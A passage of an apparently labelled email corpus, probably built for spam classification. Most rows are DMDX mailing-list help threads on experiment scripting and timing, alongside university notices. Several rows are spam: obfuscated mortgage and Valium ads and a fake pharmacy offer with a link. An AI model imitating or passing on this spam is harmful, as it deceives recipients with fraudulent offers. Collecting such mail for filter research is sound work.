2Ac35GxpanfJFNfCF0fNxEsNSixcoCQycaBTfdlR06vV2fc2X90bhj65TMSVyyYf GohOjm6bdL0BqX17rRO4Qb2d1v5F/V7yPy/tZsPNB7gjLd2NEZudDdIh8neMqPug WVNgG3XwdmdYGBHcJA6Px/rFXEiGhwOKu33PGK1L/VfdU4Tp8uUxn9mhM05MzeSI sIuAbEUDmixq0MatWeWD2MygOVXCEV9Y7RPg230VVCH91PxtIQIJ2g== =21US -----END PGP SIGNATURE-----",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 12:46:10 -0700",[DMDX] Re: scripts,"At 04:57 PM 11/9/2005 +0000, you wrote: >What amazed me, when I started with DMDX not too long ago, was that nobody >had produced an easy way for a non-technical user to create scripts, or >modify basic scripts for their own purposes (please let me know if I'm >wrong !). Various people have expressed a desire to do so throughout history, a number have even made tutorials (that we are thoroughly thankful for) and that are linked to from the DMDX Updates page. However a comprehensive work is a truly staggering amount of work and anyone that seriously investigates writing a manual for DMDX soon finds that out. There's a reason why the profession of technical writer exists and alas none of us are a member of it. So it hasn't happened. >What I've ended up doing is creating a document template in WORD, using >tables, which set out all the basic commands in 'greyed out' columns, >leaving all the bits the user needs to fill in (e.g. text, file names, >etc) in white columns. I then change all the commands as necessary before >handing over to the user to do the mundane stuff ! > >P.S. of course once the template is produced, you need to use WORDPAD to >do the editing ! > >Chris Letts, >Newcastle University. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Associate with well-mannered persons and your manners will improve. Run with decent folk and your own decent instincts will be strengthened. Keep the company of bums and you will become a bum. Hang around with rich people and you will end by picking up the check and dying broke. - Stanley Walker ",0,0 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 15:10:42 -0500",[DMDX] font size not WYSIWYG in DMDX,"I'd like to display text in a certain font size. E.g., 10 points Arial font (uppercase) is about 3 mm wide on an average screen in WYSIWYG programs such as MS-Word. However, in DMDX the text appears considerably larger. How can I control that? Can I make DMDX WYSIWYG font size-wise? my header line (in case you need it) is: s176 g4 f15 d5 t10000 Thanks, -Yuval.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 13:52:09 -0700",[DMDX] Re: font size not WYSIWYG in DMDX,"The keyword is what you're after. At 03:10 PM 11/9/2005 -0500, you wrote: >I'd like to display text in a certain font size. E.g., 10 points Arial >font (uppercase) is about 3 mm wide on an average screen in WYSIWYG >programs such as MS-Word. However, in DMDX the text appears >considerably larger. How can I control that? Can I make DMDX WYSIWYG >font size-wise? > >my header line (in case you need it) is: > s176 g4 f15 d5 t10000 +f> 1> > > >Thanks, >-Yuval. > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Associate with well-mannered persons and your manners will improve. Run with decent folk and your own decent instincts will be strengthened. Keep the company of bums and you will become a bum. Hang around with rich people and you will end by picking up the check and dying broke. - Stanley Walker",0,1 Mark Boettcher ,DMDX@psy1.psych.arizona.edu,"Thu, 10 Nov 2005 10:31:52 +1300",[DMDX] DMDX UI and New Software,"A couple of years ago I proposed collaborating with Jonathan to produce a GUI front-end for DMDX. I thought then and still do that his approach using DirectX was the best way to do this sort of thing. For whatever reasons (maybe so other people don't screw up the code?), Jonathan keeps the source code pretty much to himself and wasn't willing to do this. As a result I started writing my own software package two years ago. As the programmer for the University of Canterbury (Christchurch, NZ) Psyc Dept I needed a general-purpose program that was easy to use with NO scripting required, able to provide sub-millisecond latencies for reaction timing, able to control display updates and timings accurate to one scan line and with the flexibility to add new modules so that any programmer able to create a DLL could create a new module for any special purpose. Example add-on modules already created and in use with the program include: one to generate Gabor patches on-the-fly, one to control an IView Eye Tracker and one to control a homebrew box for pigeons consisting of a 6"" lcd, feed hopper, several lights and several switches and a touchscreen. The pigeon box has a 24-bit USB DIO box (US $100) to control lights and hoppers and get switch closures from pigeon pecks. Four of these boxes run on one PC concurrently and asynchronously. The researcher can actually run four independent and completely different experiments at once. The only limit is the number of PCI VGA cards we could stuff into the computer. Standard built-in event modules include bitmap events which allow loading and display of almost any image format, text events which allow text in any font, orientation, color and size, branching events allowing unconditional and conditional jumps based on global variables or inputs and input events for key presses, mouse clicks, touchscreen, etc. Shortly audio and video event modules will be complete. One particularly strong feature is the ability to use 'sequence lists' which are lists of data either loaded from .CSV files or auto-generated. An example - I want to display an image, wait for key input, record key pressed and repeat 10 times. I would create a plain text file called, 'myimages.csv' which is just a list of file names, i.e., foo.jpg bar.png blech.bmp. In the sequence editor I attach this file to the bitmap event file name parameter and a new image will be displayed each time this event is executed. The sequence editor allows randomizing the list, assigning categories (too complicated to describe here) and also allows auto-generation of lists. Here is a more detailed example: I add a 'Display Text' event. In the edit box used for the text to be displayed I right-click to bring up the Sequence Editor. I check the box to show random words from the built-in word list and type '5' in the length. When the experiment runs the user will see a different 5-letter common English word each time this event is executed. I can also add a sequence to the text color using a file to change the color of the text in a known order each time the event is executed. Years ago I wrote the 'VitalView' software at www.minimitter.com which does data collection and almost real-time analysis on up to 240 channels at 1000Hz simultaneously on a Windows 98 machine using Mini-Mitter's multiplexers. I also have many years experience in the computer gaming industry and was involved in the original DirectX design review before its initial release by Microsoft. I have used all of this experience to design this program from scratch. All code is written in C++ and targeted towards typical Windows XP machines less than 4 years old. Typical training time for someone using this for the first time to create and run an experiment is on the order of 30 minutes. After that I often don't hear from the researcher again until the experiment is finished. If anyone is interested in trying this software out about the first of the year please email me directly at: mark.boettcher@canterbury.ac.nz and give me an idea of the research you're doing and the software requirements. The current version still lacks a lot of the features planned, but is stable and gives accurate data. Cheers, Mark Boettcher ________________________________ From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of Jonathan C. Forster Sent: Thursday, 10 November 2005 8:46 a.m. To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: scripts At 04:57 PM 11/9/2005 +0000, you wrote: What amazed me, when I started with DMDX not too long ago, was that nobody had produced an easy way for a non-technical user to create scripts, or modify basic scripts for their own purposes (please let me know if I'm wrong !). Various people have expressed a desire to do so throughout history, a number have even made tutorials (that we are thoroughly thankful for) and that are linked to from the DMDX Updates page. However a comprehensive work is a truly staggering amount of work and anyone that seriously investigates writing a manual for DMDX soon finds that out. There's a reason why the profession of technical writer exists and alas none of us are a member of it. So it hasn't happened. What I've ended up doing is creating a document template in WORD, using tables, which set out all the basic commands in 'greyed out' columns, leaving all the bits the user needs to fill in (e.g. text, file names, etc) in white columns. I then change all the commands as necessary before handing over to the user to do the mundane stuff ! P.S. of course once the template is produced, you need to use WORDPAD to do the editing ! Chris Letts, Newcastle University. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Associate with well-mannered persons and your manners will improve. Run with decent folk and your own decent instincts will be strengthened. Keep the company of bums and you will become a bum. Hang around with rich people and you will end by picking up the check and dying broke. - Stanley Walker",0,1 Yuval Marton ,DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 18:58:25 -0500",[DMDX] More font problems (color and location),"It is important for my experiment to display text in certain color (or grayscale). I am using WYSIWYG formatting of my stimuli. Problem 1: Sometimes, instead of displaying the text in, say, gray (as it is formatted), it is displayed in black. Problem 2: the display location is also important. Sometimes the text is not displayed in the right location (e.g., when it should be displayed a bit to the left (of fixation) it is displayed too far to the left). I have prepared a demo script, please let me know if and where you want me to send it. Thanks again, -Yuval. PS: Font size problem is solved (for my purposes), thanks! ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Nov 2005 22:09:17 -0700",[DMDX] Re: More font problems (color and location),"At 06:58 PM 11/9/2005 -0500, you wrote: >It is important for my experiment to display text in certain color (or >grayscale). I am using WYSIWYG formatting of my stimuli. > >Problem 1: Sometimes, instead of displaying the text in, say, gray (as >it is formatted), it is displayed in black. The best way to control color is specify it explicitly with . >Problem 2: the display location is also important. Sometimes the text >is not displayed in the right location (e.g., when it should be >displayed a bit to the left (of fixation) it is displayed too far to >the left). How are you specifying the display coordinates? I prefer to set to 1 and to use to control the position. >I have prepared a demo script, please let me know if and where you >want me to send it. > >Thanks again, >-Yuval. > >PS: Font size problem is solved (for my purposes), thanks! > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am. I think.",0,1 Lucy Series ,DMDX@psy1.psych.arizona.edu,"Thu, 10 Nov 2005 12:20:26 +0000",[DMDX] sound file problems,"Hi, I've been having problems with DMDX playing sound files since my computer crashed. The files themselves work fine on other applications, and have not been moved. DMDX will still run, and .bmp files are fine, but the sound files can't be heard. Is there a volume control specific to DMDX that could have been affected, or could this be a problem with it using the .wav files at all? Thanks, Lucy ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Nov 2005 07:37:46 -0700",[DMDX] Re: sound file problems,"At 12:20 PM 11/10/2005 +0000, you wrote: >Hi, > >I've been having problems with DMDX playing sound files since my computer >crashed. The files themselves work fine on other applications, and have >not been moved. DMDX will still run, and .bmp files are fine, but the >sound files can't be heard. Is there a volume control specific to DMDX >that could have been affected, or could this be a problem with it using >the .wav files at all? There are volume controls in the control panel, DMDX tends to be the WAV device. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am. I think. ",0,0 Hui Yui Chi ,DMDX@psy1.psych.arizona.edu,"Thu, 10 Nov 2005 22:41:10 +0800","[DMDX] Re: RE: RE: Problems of two sequential stimuli,","Thank for your quick reply. However, we still do not quite understandthe use of . When we write a program like this: $0 ""instructions"" ;~1 ;~2 ;3 ""wrong"" ;4 ""correct"" ;5 ""too long"" ;~1000;$+1001 ""circle"" * / ;+2001 ""cross"" * / ; $0 ""The End. Thank You."";$ Under this program, the subject will see a word ""circle"" flash on thescreen first. If he press ""A"", a feedback ""correct"" with a RT isshown. However, the next stimulus will not be shown automatically. Thesubject need to press spacebar twice in order to make the nextstimulus appear. It seem that this program is far from our intention.We would like to make a experiment that shows two stimuli sequentiallywith ISI varied from 10ms to 500ms. While the subject need to press 2buttons in correct order so as to get a correct in each trial. Yet, wedon't know how and help us to attain these requirments. Although we have read about these 2 commands in the DMDX help website,we still not very understand. May you explain more? Thank",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 10 Nov 2005 11:10:02 -0700","[DMDX] Re: RE: RE: Problems of two sequential stimuli,","You need to put and in the parameter line. At 10:41 PM 11/10/2005 +0800, you wrote: >Thank for your quick reply. However, we still do not quite understandthe >use of . When we write a program like this: > > 0> >$0 ""instructions"" ;~1 >;~2 ;3 ""wrong"" >;4 ""correct"" ;5 ""too long"" >;~1000;$+1001 ""circle"" * / >;+2001 ""cross"" * / ; >$0 ""The End. Thank You."";$ >Under this program, the subject will see a word ""circle"" flash on >thescreen first. If he press ""A"", a feedback ""correct"" with a RT isshown. >However, the next stimulus will not be shown automatically. Thesubject >need to press spacebar twice in order to make the nextstimulus appear. It >seem that this program is far from our intention.We would like to make a >experiment that shows two stimuli sequentiallywith ISI varied from 10ms to >500ms. While the subject need to press 2buttons in correct order so as to >get a correct in each trial. Yet, wedon't know how and help >us to attain these requirments. Although we have read about these 2 >commands in the DMDX help website,we still not very understand. May you >explain more? >Thank >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Associate with well-mannered persons and your manners will improve. Run with decent folk and your own decent instincts will be strengthened. Keep the company of bums and you will become a bum. Hang around with rich people and you will end by picking up the check and dying broke. - Stanley Walker",0,1 cherr@uoregon.edu,cherr@uoregon.edu,"Thu, 10 Nov 2005 11:52:04 -0800",Missing Book Reviews - SPED 411/511,"There seem to be a number of students who did not submit a book review before the deadline on Tuesday, Nov. 8. Please check your grades on Blackboard, and if you do not have an ! mark next to the book review assignment, and you do not have permission to turn in your paper late, it means we did not receive your book review. If you submitted one, and we didn't get it, that means that you did not correctly follow the instructions for submitting your book review. If you have proof (written - you can show through your computer records) that you submitted your book review on time, we will accept your book review. However, if you have no proof that it was submitted, we will not accept your book review unless you are one of the students who received written permission from me to submit the report late. Cindy",0,0 minson@uoregon.edu,minson@uoregon.edu,"Thu, 10 Nov 2005 12:32:22 -0800",Overheads,"Hi all, I have posted the first set of overheads for ""c-c-c-c-c-cold stress"", and will have the second set posted in a few hours. I don't know if we will get to the second set by tomorrow...but they will be posted today. Thanks for your patience!",0,0 US-CERT Security Bulletins ,security-bulletins@us-cert.gov,"Thu, 10 Nov 2005 16:26:59 -0500","US-CERT Cyber Security Bulletin SB05-313 -- Summary of Security Items from November 2 through November 8, 2005 ","-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Summary of Security Items from November 2 through November 8, 2005 This bulletin provides a summary of new or updated vulnerabilities, exploits, trends, viruses, and trojans from November 2 through November 8, 2005, and is available here: For instructions on subscribing to or unsubscribing from this mailing list, visit . -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ3O6w30pj593lg50AQJiGQgAo9RRI6ReIm0RrQaxWoQ/3wapcWofw7Go 4XRAGTf3MqM4vIFoAXK86PUjPSymQKsvWGlINCpPBU5o5oSx2GaCS7haPpYKj2Ep oFzxqpLOs/l3Iy8YVGXNWdmG8PsqNrcWKAUCiOy5NczV0acNKvijGroeIqUgGYrB NqoazGNFHS5FTX4ZJjaaizOZvJfu9p4Mfz1LeSwInEY1hZTsT9Li+zo1C70jFFqO OZI2NLxO3QN1uHnjp31nGAVWhKkgZJfrwGTOefK3yzUjV/UiY/4W52xMKwpoM0MP JLQGG7kR1VMaAZQEdw8TZ3IV8Z/cfX+aYeJe+GBok/0w1FkxPHDdxA== =IK74 -----END PGP SIGNATURE-----",0,1 Hui Yui Chi ,DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 2005 12:17:34 +0800",[DMDX] port output,"I am writing a program that use a light box which would connect to a laptop. I would like to use DMDX to control the flash rate of the light box via the laptop. How can i use DMDX to do this? ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 2005 00:51:27 -0800",[DMDX] Re: port output,"Dear Hui Yui Chi, Desktop computer DMDX applications use a digital signal input/output card generally referred to as the ""PIO"". See ""input"" section of DMDX help. As a laptop user, you don't have this option (unless you have one of those Toshiba laptops from the 1980's that had an ISA slot ... oh yes, and a DMDX that runs on DOS :) Solution? I would use the laptop's sound ""card"" as an output ""port"" for ""sending"" ""digital"" control signals. Simply speaking, when you want to trigger the light box, you instruct DMDX to ""play"" a sound. You will have to determine the appropriate trigger signal for the light box and construct an interface. It is possible that the sound card could trigger a TTL level device directly (i.e., you might only need a cable). If you wanted the light box to flash at, for example, 6 (or 600) times per second for 1 minute, you can create a ""sound"" file with the corresponding ""frequency"" of triggers. I use the open source (free!) sound-editor program Audacity (http://audacity.sourceforge.net/) for this very purpose. Audacity even comes in a Chinese version. Feel free to contact me privately if I can help you further. Best regards, Derek Eder --- Hui Yui Chi wrote: > I am writing a program that use a light box which > would connect to a > laptop. I would like to use DMDX to control the > flash rate of the > light box via the laptop. How can i use DMDX to do > this? Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""In the beginner's mind there are many possibilities, but in the expert's mind there are few"" - S. Suzuki __________________________________ Yahoo! FareChase: Search multiple travel sites in one click. http://farechase.yahoo.com",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 2005 07:00:55 -0700",[DMDX] Re: port output,"At 12:51 AM 11/11/2005 -0800, you wrote: >Dear Hui Yui Chi, > >Desktop computer DMDX applications use a digital >signal input/output card generally referred to as the >""PIO"". See ""input"" section of DMDX help. > >As a laptop user, you don't have this option (unless >you have one of those Toshiba laptops from the 1980's >that had an ISA slot ... oh yes, and a DMDX that runs >on DOS :) You can buy PCMCIA output cards for all laptops, for instance a PC-CARD-DIO48: http://www.measurementcomputing.com/cbicatalog/cbiproduct.asp?dept%5Fid=156&pf%5Fid=1422&mscssid=KC5QJ34ENAA59LSKRWMB3DJGBBKB92C1 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am. I think. ",0,1 Hui Yui Chi ,DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 2005 22:58:31 +0800",[DMDX] Re: port output,"What is the function of a PCMCIA output cards? ",0,0 Derek Eder ,DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 2005 07:06:27 -0800",[DMDX] Re: port output,"> You can buy PCMCIA output cards for all laptops, > for instance a PC-CARD-DIO48: Oh boy! Don't I feel the fool! How could I have overlooked PCMCIA? (although my solution is rather easier and cheaper :) - Derek I think not therefore I am not, therefore I dissapear. - Frederik DerDaele Derek Eder Bagaregårdsgatan 3E, nr 134 SE 416 70 Göteborg (Gothenburg) Sverige (Sweden) +46 (031) 25 97 07 (home) +46 0709 721 283 (mobil) email: derek_eder@yahoo.com web page: www.derek-eder.org ""In the beginner's mind there are many possibilities, but in the expert's mind there are few"" - S. Suzuki __________________________________ Yahoo! FareChase: Search multiple travel sites in one click. http://farechase.yahoo.com ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 2005 10:41:49 -0700",[DMDX] Re: port output,"At 10:58 PM 11/11/2005 +0800, you wrote: >What is the function of a PCMCIA output cards? They allow DMDX to control 24 TTL level outputs. Some for input, some for output. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ I think, therefore I am. I think. ",0,0 Kakalina Schlabach ,DMDX@psy1.psych.arizona.edu,"Fri, 11 Nov 2005 15:29:33 -0700",Re: oaaog news,"D b ear Home Ow b ne p r , Your cr p edi t t doesn't matter to us ! If you O v WN real e d st n at g e and want I r MME r DIA c TE cas x h to s a pen b d ANY way you like, or simply wish to L i OWER your monthly pa m yme g nts by a third or more, here are the d k eals we have T l OD u AY : $ 4 d 88 , 000 at a 3 d , 67% fi f xed - ra l te $ 3 s 72 , 000 at a 3 , x 90% v w aria o ble - rat u e $ 4 o 92 , 000 at a 3 , d 21% i y ntere x st - only $ 24 x 8 , 000 at a 3 , i 36% fi g xed - ra h te $ 1 h 98 , 000 at a 3 b , 55% v y ariable - ra x te H b urry, when these d n eaIs are gone, they are gone ! Don't worry about ap c pro p val, your cr v edi c t will not d r isqualif h y you ! V u isi j t ou o r site Sincerely, Kakalina Schlabach Ap y pr s oval Manager",1,1 """Kartik K. Agaram"" ",cs382m@lists.cc.utexas.edu,"Sat, 12 Nov 2005 15:56:19 -0600",[CS382M:43] TRIPS documentation: condor_shell,"http://www.cs.utexas.edu/users/skeckler/cs382m/handouts/trips.html I have added documentation on the condor_shell command, which should take care of the task of submitting jobs to condor. Kartik ",0,1 Quincy Hedrick ,DMDX@psy1.psych.arizona.edu,"Mon, 14 Nov 2005 08:36:18 -0100",American phartmacy! FDA approved driugs!,"Only best quality US medicatlons! Best prices for bestsellers and for the meds you need in everyday life! http://dpahto.kickhim.info/?cophqwruxcdo Just one cilck and you will definitely find what you need. Get it right now - you won't be desappointed! ",1,1 s037627@mailserv.cuhk.edu.hk,DMDX@psy1.psych.arizona.edu,"Mon, 14 Nov 2005 21:35:44 +0800",[DMDX] Re: RE: RE: RE: problems of two sequential stimuli,"$ 0 ""instructions"" ; ~1 ; ~2 ; 3 ""wrong"" ; 4 ""correct"" ; 5 ""too long"" ; ~1000; $ +1001 ""circle"" * / ; +2001 ""cross"" * / ; $ 0 “The End. Thank You.”; $ Thanks for your replies. But when we run the above lines, with and added, we found another problem. Now ""circle"" and ""cross"" are a set of sequential stimuli. But ""cross"" will not be displayed unless a response is made after the presentation of ""circle"". That is, ""cross"" displays only after a response is made for ""circle"". So we cannot manipulate the ISI between ""circle"" and ""cross"". What we want to achieve is to manipulate the ISI, such as 10ms, 50ms, etc. Could you give us some recommendation? Thanks. ------------------------------------------------- This e-mail is sent by CUHK WebMail http://webmail.cuhk.edu.hk",0,1 """DiversityInc.com"" ",Arlesia Fields ,"Mon, 14 Nov 2005 04:00:00 -0800",Limited Time Reduced Rate for Former Subscribers,"Miss Us? We Miss You Too! Your company subscription has ended, but we'd like you to come back. We've amped up our daily news coverage on the web site and the magazine is now 11 issues. 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To stop receiving DiversityInc promotional e-mails, go to: http://news1.diversityinc.com/u?id=2766220Y&o=1839291&u=http://www.diversityinc.com/public/promooptout.cfm&w=F&a=T&n=T&c=F&l=expiredgroups _______________________________________________________________________ This e-mail is sent from an unattended mailbox. Please do not reply directly. You may reach us at customerservice@diversityinc.com. _______________________________________________________________________ DiversityInc, 317 George Street, New Brunswick, NJ 08901 ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 14 Nov 2005 07:33:56 -0700",[DMDX] Re: RE: RE: RE: problems of two sequential stimuli,"At 09:35 PM 11/14/2005 +0800, you wrote: >Now ""circle"" and ""cross"" are a set of sequential stimuli. But ""cross"" will not >be displayed unless a response is made after the presentation of ""circle"". >That >is, ""cross"" displays only after a response is made for ""circle"". So we cannot >manipulate the ISI between ""circle"" and ""cross"". What we want to achieve is to >manipulate the ISI, such as 10ms, 50ms, etc. Could you give us some >recommendation? Thanks. You just can't do it and provide feedback. You can either gather multiple responses to a display sequence and deal with them afterwards using or you have one display sequence per response. There is no other solution using DMDX. $ 0 ""instructions"" ; $ +1001 ""circle"" * / ""cross"" ; $ 0 ¡§The End. Thank You.¡¨; $ /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why don't sheep shrink when it rains? - George Carlin",0,0 Heather E McInnis ,gensci-list@lists.uoregon.edu,"Mon, 14 Nov 2005 09:11:37 -0800",gensci-list: re: Psychology Career Exploration courses winter 2006,"Career Exploration courses offered by the Psychology Department, Winter 2006 **Note: These courses do not meet the requirements for the General Science major. ~~~~~~~~~~~~~~~~~~ CPSY 406: Thursday, 2:00-3:50 pm, CRN: 21247 This course is ideal for Sophomores, Juniors, and Seniors. The class is designed to increase self-awareness regarding academic and career interests, explore campus resources, and assist in the next steps for career or graduate school planning. (2 credits) CPSY 199: Monday, 12:00-1:50 pm, CRN: 21244 This course is ideal for Freshmen and Sophomores who have not yet declared a major, or who want to confirm that the major they have chosen is right for them. In CPSY 199, students focus on assessing their values, personality, skills, and interests, and relating these criteria to choosing a college major and, eventually, a satisfying career. This course exposes students to campus resources integral to academic success. CPSY 408: Monday and Wednesday, 2:00-3:20 pm, CRN: 21250 CPSY 408 is ideal for upper-division students and graduating seniors. Students learn the practical skills needed for a successful and comprehensive job search. Course topics include: job search strategies, writing a resume and cover letter, job interviewing skills, effective oral presentation skills, graduate school preparation and admission, and developing multicultural awareness in the workplace.http://darkwing.uoregon.edu/~hmcinnis ",0,1 cherr@uoregon.edu,cherr@uoregon.edu,"Mon, 14 Nov 2005 09:45:34 -0800",Book Review file,"We are unable to open your book review file. Please resave it as either a Word file, a text file (.txt), or a rich text file (.rtf) and attach it in a reply to this email. Cindy Herr",0,0 Heather E McInnis ,gensci-list@lists.uoregon.edu,"Mon, 14 Nov 2005 11:16:13 -0800","gensci-list: Fwd: uo_pre_health: Health News Updates for November : MCAT and DAT scholarships, Upcoming Workshops","Kaplan MCAT and DAT scholarships Kaplan has generously provided the Prehealth Sciences program with two scholarhips for the MCAT and DAT preparation courses. For those of you who were planning on preparing for the MCAT and DAT this year, please apply by providing our office with the following: - cover letter explaining why you need the scholarship (ie financial and personal reasons) - resume outlining volunteer/work related community/medical service - attach a copy of your unofficial Duckweb transcript (if you have transfer work please attach that as well). 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They have invited multi cultural student attend, network and learn about opportunities with Nike. If you are interested there are interested in attending, it is from 5-7pm in Gerlinger Lounge, you must RSVP to mirao@uoregon.edu. If you have any questions you can contact me as well. Lauren Brownrigg University of Oregon Athletics Student Services (541)346-5367 lkb@uoregon.edu ",0,0 Hafeez Jost ,katelyn@smtp.uoregon.edu,"Mon, 14 Nov 2005 08:54:25 -0700",Re: VALteUM new,"Hi C i I h A j L a I i S z X v A p N q A w X e V k A o L x I x U d M c V f I z A t G e R o A z http://www.highlarvan.com diathermanc depreciat bionic dhurr nitt and went inside. Inside. The screams came from beyond the door of the master bedroom. The old Frenchman lurched toward it, his legs unsteady, his weapon wavering in his right hand. With what strength he had left, he kicked the door open and observed a scene that he knew had to come from hell. The nurse, with the old mans head in a metal leash, was forcing her ",1,1 Hui Yui Chi ,DMDX@psy1.psych.arizona.edu,"Tue, 15 Nov 2005 12:39:44 +0800",[DMDX] Re: RE: RE: RE: problems of two sequential stimuli,"Thanks for your help. We understand that it seem impossible to give feedback in our experiement. So we give up trying yo give feedback and use we write the program like this: $ 0 ""instructions"" ; $ +1001 ""circle"" * / ""blank""/ ""cross"" ; +1002 ""circle"" * / ""blank""/ ""cross"" ; $ 0 ""The End. Thank You.""; $ it is useful as we can vary the ISI and collect 2 response time. Yet, at the end of each trial, we need to press space bar so as to go to the next trial. Can we write a programme that the next trial automatically shows up after pressing the response keys which is A & L in this programme but not space bar? Thanks",0,0 s037627@mailserv.cuhk.edu.hk,DMDX@psy1.psych.arizona.edu,"Tue, 15 Nov 2005 20:51:00 +0800",[DMDX] Re: RE: RE: RE: RE: problems of two sequential stimuli,"we write the program like this: $ 0 ""instructions"" ; $ +1001 ""circle"" * / ""blank""/ ""cross"" ; +1002 ""circle"" * / ""blank""/ ""cross"" ; $ 0 ""The End. Thank You.""; $ But the result shows the following error: ""Subject 1, 11/15/2005 20:41:14 on PC, refresh 16.63ms ! Display error at msec 70.39, tick 3 in item 0, frame ""instructions"" ! moved into video memory 1 tick late ! (previous frame's duration will have been longer) Item 1001 823.06,+A 1571.99,+A Item 1002 1415.24,+A 1745.88,+A 2224.47"" Why is there a display error? How to get rid of it? Thanks. ------------------------------------------------- This e-mail is sent by CUHK WebMail http://webmail.cuhk.edu.hk",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Nov 2005 08:58:23 -0700",[DMDX] Re: RE: RE: RE: problems of two sequential stimuli,"Put in the parameter line. At 12:39 PM 11/15/2005 +0800, you wrote: >Thanks for your help. We understand that it seem impossible to give >feedback in our experiement. So we give up trying yo give feedback and >use > >we write the program like this: > > > >$ >0 ""instructions"" ; >$ >+1001 ""circle"" * / ""blank""/ ""cross"" ; >+1002 ""circle"" * / ""blank""/ ""cross"" ; >$ >0 ""The End. Thank You.""; >$ > >it is useful as we can vary the ISI and collect 2 response time. Yet, >at the end of each trial, we need to press space bar so as to go to >the next trial. Can we write a programme that the next trial >automatically shows up after pressing the response keys which is A & L >in this programme but not space bar? > >Thanks > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why don't sheep shrink when it rains? - George Carlin",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 15 Nov 2005 09:00:01 -0700",[DMDX] Re: RE: RE: RE: RE: problems of two sequential stimuli,"As I mentioned recently a lot of machines have significant DirectX video mode related start up times so when using quite often the first item will have a display error. Seeing as the first item is usually instructions this is of no consequence. At 08:51 PM 11/15/2005 +0800, you wrote: >we write the program like this: > > > > >$ >0 ""instructions"" ; >$ >+1001 ""circle"" * / ""blank""/ ""cross"" ; >+1002 ""circle"" * / ""blank""/ ""cross"" ; >$ >0 ""The End. Thank You.""; >$ > >But the result shows the following error: > > >""Subject 1, 11/15/2005 20:41:14 on PC, refresh 16.63ms >! Display error at msec 70.39, tick 3 in item 0, frame ""instructions"" >! moved into video memory 1 tick late >! (previous frame's duration will have been longer) >Item 1001 > 823.06,+A 1571.99,+A >Item 1002 > 1415.24,+A 1745.88,+A 2224.47"" > > >Why is there a display error? How to get rid of it? Thanks. > > > >------------------------------------------------- >This e-mail is sent by CUHK WebMail http://webmail.cuhk.edu.hk >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Why don't sheep shrink when it rains? - George Carlin",0,1 Shiaohui Chan ,DMDX@psy1.psych.arizona.edu,"Tue, 15 Nov 2005 11:45:16 -0700",[DMDX] 3-button mouse?,"Hi All, I am thinking of using a three-button mouse as the input device. When I use a mouse with a rolling thing in the middle 